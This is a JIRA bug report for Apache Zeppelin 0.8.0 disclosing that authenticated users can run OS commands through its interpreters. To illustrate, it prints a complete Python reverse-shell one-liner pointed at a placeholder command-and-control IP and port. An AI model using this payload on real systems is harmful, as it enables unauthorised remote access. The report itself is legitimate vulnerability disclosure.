GuruRaj created ZEPPELIN-4287:
---------------------------------
Summary: Remote Code Execution
Key: ZEPPELIN-4287
URL: https://issues.apache.org/jira/browse/ZEPPELIN-4287
Project: Zeppelin
Issue Type: Bug
Components: Interpreters
Affects Versions: 0.8.0
Reporter: GuruRaj
Attachments: rce_1.png
Hi Team,
We have noticed that zeppelin is vulnerable to Remote code execution, where
authenticated user will be able to execute arbitrary code on the server with
help of Interpreter.
Case1: User can select the shell interpreter and execute the OS command
directly and can get the reverse shell from there if needed.
Case2: User can select any other interrupter like python and get to execute the
OS commands from there. For example we can get the reverse shell from the below
code
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<c&c
ip>",<port no>));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
--
This message was sent by Atlassian JIRA
(v7.6.14#76016)
